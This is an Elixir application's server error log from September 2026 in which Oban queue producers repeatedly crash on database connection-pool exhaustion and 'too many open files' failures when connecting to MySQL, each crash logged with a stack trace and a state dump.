State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:43:32.244037Z], limit: 5, uuid: "7ab3f5f5-0afd-4a70-91f8-1b8015d45f2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:32.244043Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260607>, refresh_timer: #Reference<0.2525715032.1077411843.260588>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:44.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:43:32.244243Z], limit: 20, uuid: "2c22603e-ad40-4c7a-a340-b3b9fd6a53f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:32.244248Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260606>, refresh_timer: #Reference<0.2525715032.1077411843.260600>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:45.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:51.593000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:53.850000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:54.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:43:44.240669Z], limit: 3, uuid: "f47d3810-03ab-46da-8058-52af100ceee0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:44.240675Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.26550>, refresh_timer: #Reference<0.2525715032.1099431938.27533>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:43:44.239021Z], limit: 50, uuid: "feb82944-9c9b-4411-b645-a2b89a5a2e30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:44.239028Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260760>, refresh_timer: #Reference<0.2525715032.1077411843.260730>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:43:44.241513Z], limit: 5, uuid: "322ce1fa-9977-4384-ade9-851ccba5fa67", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:44.241518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27540>, refresh_timer: #Reference<0.2525715032.1099431938.27539>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:43:44.241210Z], limit: 10, uuid: "fe657a23-28e8-474b-9d34-a6025f0bd6d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:44.241215Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260761>, refresh_timer: #Reference<0.2525715032.1068498948.26540>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:43:44.241316Z], limit: 20, uuid: "6f6712cd-d75e-47a5-b0fd-0de19a38dca0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:44.241323Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260759>, refresh_timer: #Reference<0.2525715032.1077411843.260753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:43:44.241185Z], limit: 5, uuid: "1450f22e-b17c-4776-8842-855bc0d9f5d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:44.241190Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260762>, refresh_timer: #Reference<0.2525715032.1068498948.26539>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:56.250000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:56.882000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:57.952000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:58.020000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:58.877000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:06.925000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:43:56.239427Z], limit: 5, uuid: "c19bf532-2156-4762-b63d-61d025d09126", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:56.239432Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.26898>, refresh_timer: #Reference<0.2525715032.1068498948.26867>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
